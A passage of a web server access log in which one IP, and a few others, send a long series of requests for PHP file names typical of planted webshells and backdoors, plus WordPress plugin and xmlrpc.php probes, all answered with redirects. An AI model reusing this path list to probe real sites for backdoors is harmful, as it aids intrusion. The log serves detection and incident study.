Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:53:28 +0330] "GET /unzipper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:56:44 +0330] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:58:10 +0330] "GET /p.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:01:21 +0330] "GET /3test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:02:54 +0330] "GET /MuPlugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:55:06 +0330] "GET /bfasmbas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15" 89.131.59.73 - - [05/Nov/2025:14:59:44 +0330] "GET /serogacz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15" 89.131.59.73 - - [05/Nov/2025:15:04:32 +0330] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:06:17 +0330] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:08:48 +0330] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 180.242.130.29 - - [05/Nov/2025:15:09:08 +0330] "GET /wp-content/plugins/wps-hide-login/wps-hide-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 89.131.59.73 - - [05/Nov/2025:15:10:40 +0330] "GET /ex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:13:14 +0330] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:15:47 +0330] "GET /memberfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:18:01 +0330] "GET /networks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:24:42 +0330] "GET /system-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15" 89.131.59.73 - - [05/Nov/2025:15:27:34 +0330] "GET /xyzxxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:19:51 +0330] "GET /php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:21:43 +0330] "GET /php8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:23:11 +0330] "GET /psm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:26:11 +0330] "GET /t.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:28:59 +0330] "GET //about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:31:58 +0330] "GET /ug.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15" 89.131.59.73 - - [05/Nov/2025:15:36:46 +0330] "GET //wpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:39:14 +0330] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:41:31 +0330] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15" 89.131.59.73 - - [05/Nov/2025:15:42:56 +0330] "GET //wp-includes/js/codemirror/BDKR28_jgeyuca6.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Mobile/15E148 Safari/604.1 Ddg/18.3" 194.165.16.8 - - [05/Nov/2025:15:28:53 +0330] "POST /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15" 89.131.59.73 - - [05/Nov/2025:15:30:12 +0330] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_10 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:33:19 +0330] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:15:34:30 +0330] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Mobile/15E148 Safari/604.1"